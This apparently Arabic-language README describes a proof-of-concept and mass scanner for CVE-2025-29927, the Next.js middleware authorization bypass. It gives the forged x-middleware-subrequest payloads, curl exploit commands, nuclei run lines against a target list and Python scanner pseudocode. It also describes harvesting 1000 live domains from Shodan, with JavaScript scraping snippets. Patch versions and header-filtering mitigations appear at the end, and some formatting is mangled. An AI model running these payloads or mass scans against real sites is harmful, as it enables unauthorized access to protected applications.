
أداة إثبات المفهوم والمسح الجماعي لـ CVE-2025-29927، وهو تجاوز صلاحية المصادقة الوسيطة في Next.js عن طريق رأس الطلب الفرعي للوسائط المزور x-middleware-subrequest. تتضمن قوالب nuclei وماسحًا ضوئيًا بلغة بايثون.
باختصار: ثغرة في وسيطة Next.js تسمح بتجاوز فحوصات التفويض عن طريق تزوير رأس
x-middleware-subrequest.
قمت بالبحث في shodan باستخدام الفلتر http.headers:"x-middleware-rewrite" وجلبت قائمة من 1000 نطاق
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+.)[a-zA-Z0-9.-]+.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
السياق والخلفية في الإصدارات المبكرة من Next.js، كان بإمكان الوسيطة (middleware) إجراء طلبات داخلية (فرعية) للتطبيق نفسه. لمنع التكرار، كان الإطار يقدم رؤوس HTTP خدمية - علامات داخلية تشير إلى "تمت معالجة هذا الطلب بالفعل". كان هذا النهج عملياً وتجنب الحلقات اللانهائية داخل مسار الوسيطة.
تطور الوسيطة والأحمال (payloads) قبل Next.js 12.2، كانت الوسيطة موجودة كـ _middleware داخل pages/ ويمكن أن تكون متداخلة (pages/_middleware, pages/dashboard/_middleware إلخ). يمكن أن يشير الحمولة إلى مسار محدد (x-middleware-subrequest: pages/dashboard/_middleware). منذ 12.2، أصبحت الوسيطة تُسمى middleware.js/ts ولم تعد موجودة في pages/. في هذه الحالة، غالباً ما كان الحمولة البسيطة x-middleware-subrequest: middleware (أو src/middleware عند استخدام src/) تعمل. الإصدارات اللاحقة (≥ 13.2.0) أدخلت فحوصات إضافية، بما في ذلك MAX_RECURSION_DEPTH؛ في بعض الالتفافات استُخدمت قيم متكررة مثل middleware:middleware:... لمحاكاة سلسلة متداخلة. عملياً: يعتمد الشكل الدقيق للحمولة على إصدار Next.js وهيكل المشروع.
تاريخ الإصلاح مشكلة x-middleware-subrequest-id تضمن التصحيح الأولي السريع فكرة معرف داخلي - x-middleware-subrequest-id - يتم إنشاؤه والتحقق منه في وقت التشغيل لتمييز الطلبات الفرعية الداخلية الصحيحة عن المزيفة. ومع ذلك، أظهر التنفيذ أثراً جانبياً: هذا المعرف الداخلي يمكن أن يتسرب للخارج (يظهر في طلبات fetch الخارجة)، مما يخلق خطراً جديداً. بالإضافة إلى ذلك، تبين أن توقيع/مزامنة المعرفات غير موثوقة في ظل وجود العديد من CDN/PoP وبيئات التشغيل المختلطة (Edge vs Node). نتيجة لذلك، تمت إزالة/إعادة هيكلة الكود الخاص بـ x-middleware-subrequest-id؛ الحل النهائي هو مزيج من التصحيحات في Next.js والتخفيفات على مستوى المنصة (تصفية الرؤوس الداخلية الواردة على مستوى ingress/edge).
CVE-2025-29927x-middleware-subrequest. يمكن للعميل الخارجي وضع هذا الرأس وتجاوز فحوصات الوصول.x-middleware-subrequest عند اتخاذ قرار الوصول. كان الحقل مخصصاً أصلاً للعمليات الداخلية للإطار، لكن الطلبات الخارجية يمكنها تعيين هذا الرأس، مما يسمح بتجاوز التفويض.نطاقات الإصدارات التالية معرضة للخطر:
>= 11.1.4 و < 12.3.5>= 13.0.0 و < 13.5.9>= 14.0.0 و < 14.2.25>= 15.0.0 و < 15.2.39.1 (حرج)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# بدون رأس - نتوقع رفض (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# مع رأس مزيف - إذا كان ضعيفاً، سيعيد 200 + المحتوى
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/، package.json، الرؤوس، تجزئة favicon) - وضع آمن.x-middleware-subrequest ويقارن الرد. إلزامي استخدام حد المعدل والإبطاء.أمر التشغيل (مثال):
# سلبي
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# نشط (بتحكم)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → مقارنة الحالة والمحتوى.--concurrency، --delay، --dry-run، --respect-robots.aiohttp / asyncio لأداء عالٍ.كود زائف قصير:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5، >= 13.5.9، >= 14.2.25، >= 15.2.3.x-middleware-subrequest عند الحدود:أمثلة على القواعد/التنبيهات:
x-middleware-subrequest إذا كان source.ip ليس في trusted_proxies.